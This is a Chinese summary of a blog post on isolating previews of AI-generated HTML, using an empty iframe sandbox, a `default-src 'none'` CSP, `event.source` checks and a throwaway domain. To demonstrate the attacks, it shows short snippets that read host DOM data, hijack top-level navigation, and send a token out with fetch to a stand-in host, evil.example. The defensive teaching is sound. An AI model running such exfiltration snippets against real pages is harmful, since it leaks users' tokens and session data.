一个 `srcdoc` 加一个 iframe,看起来已经是「安全地渲染」了。但真正跑过攻击测试就会发现:没加 sandbox 时,生成的页面能直接读到宿主的 DOM、localStorage 和 cookie;只加 `allow-scripts`,它仍然能把整个标签页导航走、能弹窗、能提交表单;就算 sandbox 加对了,它依然可以发 `fetch`、加载带参数的图片,把数据悄悄带出去。**sandbox 管的是「这个框能碰什么」,管不了「这个框能往外发什么」。** 完整方案是四层:从空的 `sandbox=""` 开始只加回 `allow-scripts`、给预览文档加 `default-src 'none'` 的 CSP、用 `event.source` 而不是 `"null"` 的 origin 校验消息、把用户内容放到一次性独立域名上。
结论先说:预览是唯一「按设计运行陌生人代码」的地方
前端安全工程师 Brennan 在 Master.dev 的这篇复盘里讲了一个很诚实的场景:他用模型生成演示页面的脚手架,拿到成品后直接塞进自己开发服务器上的 iframe 里看效果,然后坐在那里愣了几秒——他是做 AI 功能安全评审的,刚刚却在能看见自己会话的文档里,渲染了一段没人读过的代码。
没出事,只是因为模型恰好按他说的生成了。这类错误的特点是:它每次都成功,直到它真正重要。
现在几乎每个让模型生成 UI 的产品都需要预览:聊天应用里模型返回的 HTML、内部工具渲染的生成报告、低代码的组件搭建器。页面总得有个地方渲染,最顺手的地方就是自己应用里的 iframe。而一旦少做一步,这个框就共享了你的 DOM、你的存储和你的网络。
三个测试,三个失效的直觉
作者先写了「所有人都会写的第一版」:`iframe.srcdoc = html`。比 `innerHTML` 好,CSS 隔离了,页面布局也不会被冲掉。第一遍就能跑通,而能跑通恰恰是问题所在。
第一个测试:读宿主。没有 sandbox 的 `srcdoc` iframe 跑在宿主同源上。它可以直接 `parent.document.querySelector('#secret')`,拿到页面里打印出来的 token,也能读 `parent.localStorage`。浏览器没做错任何事——同源文档本来就有权脚本化同源文档。加上 `sandbox="allow-scripts"` 后,同样的读取立刻抛 `SecurityError`,因为沙箱里的文档是不透明源(opaque origin),和谁都不匹配。
第二个测试:跑出框外。方向反过来:`top.location = '...'` 把整个标签页导航走、`window.open` 弹窗、表单提交到它自己选的端点。只有 `allow-scripts` 时三个都被拦;但只要有人因为「某次功能坏了」随手补上 `allow-top-navigation`,框就拿到了操控整个标签页的权限。每个 sandbox token 都是一次具体授权,预览应该从零开始,一个个地挣。
第三个测试最容易让人意外:往外打电话。一个只有 `allow-scripts` 的框既读不了你的页面,也导航不了你的标签页,但它仍然能发网络请求。`fetch('https://evil.example/collect?token=...')`,或者一个带参数的外链图片,都能把数据带出去。拦住它们的是预览文档上的 CSP,不是另一个 sandbox token。`default-src 'none'` 会在请求离开发出之前就掐掉它。不过 CSP 也拦不住框自己导航自己,所以它同样不是完整的网络边界。
这里的关键认知是:**sandbox 和 CSP 是两个独立控制,各自堵对方漏掉的那个洞,不能互相替代。**
四层防线,一层一层加回去
把三个测试合起来,就是一个四层结构,每层对应一个具体的缺口:
- **从空 sandbox 开始。**`sandbox=""` 一次拦掉脚本、表单、弹窗、顶层导航和同源访问,然后只把预览真正需要的能力加回来——通常就是单独的 `allow-scripts`。
- **永远不要把 `allow-scripts` 和 `allow-same-origin` 放在一起。** 这两个一起给,等于让框里的内容可以脚本化宿主;而能脚本化宿主的脚本,可以直接把自己 iframe 上的 `sandbox` 属性删掉再重载,把剩下的限制全部甩掉。真要同源行为,就不该在这个框里放不可信内容。
- **把不透明源当成特性,不是缺陷。** 沙箱框在 `message` 事件里,origin 会序列化成字符串 `"null"`,而所有不同的不透明源都报同一个 `"null"`,你永远没法用它来做白名单。身份只能来自 `event.source`——浏览器填进去的那个活的 window 引用,攻击者伪造不了。
- **给用户内容一个自己的源。** CodePen 把渲染结果放在 `cdpn.io` 而不是 `codepen.io`,就是这个道理:万一沙箱真被逃逸,攻击者落在的是一个什么都没有的源上——没有会话、没有 cookie、没有别的客户数据。sandbox 是到处都能用的便宜控制,独立源才是高价值场景下更硬的墙。
CSP 的投递方式也有讲究:能放在响应头上就放头,因为它覆盖整份文档、在任何内联内容执行之前生效;只有全部塞在一个 `srcdoc` 字符串里时,才退而用 `meta` 标签,且必须放在生成内容之前。另外 `srcdoc` 会继承宿主的 CSP,子策略只能更严,不能放宽。
唯一打开的那条通道,才是真正要守的门
预览总得跟父页面说话,最常见的需求是上报自己的高度。这条 `postMessage` 通道的源头校验和载荷校验沿用上一篇的做法,但 origin 判断要改:拿 `event.source` 去比对你自己嵌入的那个 `contentWindow`,校验消息结构,对数值做 clamp。不要为 `"null"` 开特例。想要一条别的框拿不到端口的私有管道,就用 `MessageChannel`。
加固后的预览面对同一批攻击,结果是:
- 读宿主 DOM 或 localStorage —— 拦住,不透明源抛 `SecurityError`
- 把顶层窗口导航走 —— 拦住,没有授予 `allow-top-navigation`
- 用 fetch 或信标把 token 发出去 —— 拦住,CSP 拒绝请求
- 伪造 resize 消息、结构不对 —— 拒绝,处理器要求有限数值
- 合法的 resize 消息 —— 接受,并 clamp 到允许区间
最后两行才是重点。一个什么都拦得住的预览很好写,但没法上线;能接受自己嵌入的那个框发来的 resize、同时拒掉来源不对或结构不对的消息,才算真正可用。
上线时的取舍:每一次放宽都要说得出理由
作者的落地顺序很固定,而且刻意和「自然长出来的版本」相反:
1. 从空 sandbox 起步,只加一个 token(`allow-scripts`),并在代码里写注释说明为什么。
2. 基础设施允许时,把预览放到一次性域名上,让沙箱逃逸落在一片空地上。
3. 即使已经沙箱化,也照样上 `default-src 'none'` 的 CSP,因为两者拦的不是同一件事,重叠部分不是冗余。
4. 每个消息通道都做 `event.source` 和载荷校验,永不把 `"null"` 加进白名单。
他也坦白了一次真实的妥协:有个工具需要预览加载已知 CDN 上的图片,于是 CSP 里加了 `img-src https://that-cdn.example`。这条确实把洞开大了——图片请求的路径里仍然可以夹带几个字节的偷来的数据——但那个功能没有图片就毫无价值,而 CDN 是他们自己控制的,所以这是一次知情的交易。
这也是整篇文章最值得记住的一句:**你不必给每个预览都上最严的策略,但每一次放宽都必须是一个你能命名、能辩护的决定,而不是某个人为了让报错消失随手粘进去的 token。**
对中文开发者的直接启发
如果你的产品正在做「模型生成页面 / 报告 / 组件」的预览,按这个清单自查即可:
- 预览 iframe 有没有 `sandbox`?是不是空的起步、只加 `allow-scripts`?
- 有没有为了修某个功能同时加上 `allow-same-origin`?加上就等于没加沙箱。
- 预览文档有没有 CSP?至少 `default-src 'none'`,需要内联脚本再放 `script-src 'unsafe-inline'`。
- 父页面收消息时,校验的是 `event.origin` 还是 `event.source`?前者在沙箱场景下永远是 `"null"`。
- 高价值场景(涉及登录态、付费、企业数据)有没有独立预览域名?
原文给了五个可交互的 demo,直接复现三类攻击和加固后的结果,链接在文末出处。对正在做 AI 产品的团队来说,这比读十篇「iframe 安全最佳实践」都实在。
内容与图片版权归原作者所有 · 原文: https://blog.master.dev/building-an-isolated-preview-for-ai-generated-html/